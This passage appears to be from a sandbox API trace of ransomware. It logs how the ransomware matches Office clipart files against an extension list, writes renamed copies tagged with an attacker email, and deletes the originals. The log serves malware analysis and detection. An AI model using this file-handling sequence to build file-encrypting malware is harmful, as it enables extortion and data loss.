Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.560] lstrlenW (lpString=".doc") returned 4 [0184.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString=".docx") returned 5 [0184.560] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.560] lstrlenW (lpString=".pdf") returned 4 [0184.560] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.560] lstrlenW (lpString=".xls") returned 4 [0184.560] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.560] lstrlenW (lpString=".xlsx") returned 5 [0184.560] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.561] lstrlenW (lpString=".ppt") returned 4 [0184.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.561] lstrlenW (lpString=".zip") returned 4 [0184.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.561] lstrlenW (lpString=".rar") returned 4 [0184.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.561] lstrlenW (lpString=".bz2") returned 4 [0184.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.561] lstrlenW (lpString=".7z") returned 3 [0184.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.561] lstrlenW (lpString=".dbf") returned 4 [0184.561] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.561] lstrlenW (lpString=".1cd") returned 4 [0184.561] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0184.561] lstrlenW (lpString=".jpg") returned 4 [0184.561] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.561] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.561] lstrlenW (lpString="BS01639_.WMF") returned 12 [0184.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.562] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4236) returned 1 [0184.562] CloseHandle (hObject=0x500) returned 1 [0184.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0184.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.563] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.563] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.563] GetLastError () returned 0x0 [0184.563] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x108c, lpOverlapped=0x0) returned 1 [0184.565] WriteFile (in: hFile=0x50c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1090, lpOverlapped=0x0) returned 1 [0184.566] ReadFile (in: hFile=0x500, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.566] WriteFile (in: hFile=0x50c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.566] SetEndOfFile (hFile=0x50c) returned 1 [0184.567] CloseHandle (hObject=0x50c) returned 1 [0184.567] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.567] SetEndOfFile (hFile=0x500) returned 1 [0184.570] CloseHandle (hObject=0x500) returned 1 [0184.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.571] lstrlenW (lpString=".doc") returned 4 [0184.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString=".docx") returned 5 [0184.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.571] lstrlenW (lpString=".pdf") returned 4 [0184.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString=".xls") returned 4 [0184.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.571] lstrlenW (lpString=".xlsx") returned 5 [0184.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.571] lstrlenW (lpString=".ppt") returned 4 [0184.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.571] lstrlenW (lpString=".zip") returned 4 [0184.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.571] lstrlenW (lpString=".rar") returned 4 [0184.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString=".bz2") returned 4 [0184.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString=".7z") returned 3 [0184.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.571] lstrlenW (lpString=".dbf") returned 4 [0184.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.572] lstrlenW (lpString=".1cd") returned 4 [0184.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.572] lstrlenW (lpString=".jpg") returned 4 [0184.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.572] lstrlenW (lpString=".doc") returned 4 [0184.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".docx") returned 5 [0184.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.572] lstrlenW (lpString=".pdf") returned 4 [0184.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".xls") returned 4 [0184.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.572] lstrlenW (lpString=".xlsx") returned 5 [0184.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.572] lstrlenW (lpString=".ppt") returned 4 [0184.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.572] lstrlenW (lpString=".zip") returned 4 [0184.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.572] lstrlenW (lpString=".rar") returned 4 [0184.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".bz2") returned 4 [0184.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.572] lstrlenW (lpString=".7z") returned 3 [0184.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.572] lstrlenW (lpString=".dbf") returned 4 [0184.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.573] lstrlenW (lpString=".1cd") returned 4 [0184.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0184.573] lstrlenW (lpString=".jpg") returned 4 [0184.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.573] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.573] lstrlenW (lpString="CG1606.WMF") returned 10 [0184.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0184.588] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3564) returned 1 [0184.588] CloseHandle (hObject=0x500) returned 1 [0184.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0184.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0184.956] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.956] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0184.957] GetLastError () returned 0x0 [0184.957] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xdec, lpOverlapped=0x0) returned 1 [0184.958] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0184.959] ReadFile (in: hFile=0x534, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.959] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xe8, lpOverlapped=0x0) returned 1 [0184.959] SetEndOfFile (hFile=0x538) returned 1 [0184.960] CloseHandle (hObject=0x538) returned 1 [0184.960] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.960] SetEndOfFile (hFile=0x534) returned 1 [0184.962] CloseHandle (hObject=0x534) returned 1 [0184.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0184.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.963] lstrlenW (lpString=".doc") returned 4 [0184.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.963] lstrlenW (lpString=".docx") returned 5 [0184.963] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.963] lstrlenW (lpString=".pdf") returned 4 [0184.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString=".xls") returned 4 [0184.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.964] lstrlenW (lpString=".xlsx") returned 5 [0184.964] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.964] lstrlenW (lpString=".ppt") returned 4 [0184.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.964] lstrlenW (lpString=".zip") returned 4 [0184.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.964] lstrlenW (lpString=".rar") returned 4 [0184.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString=".bz2") returned 4 [0184.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString=".7z") returned 3 [0184.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.964] lstrlenW (lpString=".dbf") returned 4 [0184.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.964] lstrlenW (lpString=".1cd") returned 4 [0184.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.964] lstrlenW (lpString=".jpg") returned 4 [0184.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.964] lstrlenW (lpString=".doc") returned 4 [0184.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.964] lstrlenW (lpString=".docx") returned 5 [0184.964] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.964] lstrlenW (lpString=".pdf") returned 4 [0184.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.965] lstrlenW (lpString=".xls") returned 4 [0184.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.965] lstrlenW (lpString=".xlsx") returned 5 [0184.965] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.965] lstrlenW (lpString=".ppt") returned 4 [0184.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.965] lstrlenW (lpString=".zip") returned 4 [0184.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.965] lstrlenW (lpString=".rar") returned 4 [0184.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.965] lstrlenW (lpString=".bz2") returned 4 [0184.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.965] lstrlenW (lpString=".7z") returned 3 [0184.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.965] lstrlenW (lpString=".dbf") returned 4 [0184.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.965] lstrlenW (lpString=".1cd") returned 4 [0184.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0184.965] lstrlenW (lpString=".jpg") returned 4 [0184.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.966] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.966] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0184.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.981] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2262) returned 1 [0184.981] CloseHandle (hObject=0x4d8) returned 1 [0184.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0184.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0184.982] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.982] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.983] GetLastError () returned 0x0 [0184.983] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0184.985] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0184.986] ReadFile (in: hFile=0x4d8, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.986] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.986] SetEndOfFile (hFile=0x53c) returned 1 [0184.987] CloseHandle (hObject=0x53c) returned 1 [0184.987] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.987] SetEndOfFile (hFile=0x4d8) returned 1 [0184.990] CloseHandle (hObject=0x4d8) returned 1 [0184.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0184.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.992] lstrlenW (lpString=".doc") returned 4 [0184.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.992] lstrlenW (lpString=".docx") returned 5 [0184.992] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.992] lstrlenW (lpString=".pdf") returned 4 [0184.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.992] lstrlenW (lpString=".xls") returned 4 [0184.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.993] lstrlenW (lpString=".xlsx") returned 5 [0184.993] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.993] lstrlenW (lpString=".ppt") returned 4 [0184.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.993] lstrlenW (lpString=".zip") returned 4 [0184.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.993] lstrlenW (lpString=".rar") returned 4 [0184.993] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.993] lstrlenW (lpString=".bz2") returned 4 [0184.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.993] lstrlenW (lpString=".7z") returned 3 [0184.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.993] lstrlenW (lpString=".dbf") returned 4 [0184.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.993] lstrlenW (lpString=".1cd") returned 4 [0184.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.993] lstrlenW (lpString=".jpg") returned 4 [0184.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0184.993] lstrlenW (lpString=".doc") returned 4 [0184.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.994] lstrlenW (lpString=".docx") returned 5 [0184.994] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.994] lstrlenW (lpString=".pdf") returned 4 [0184.994] lstrcmpiW 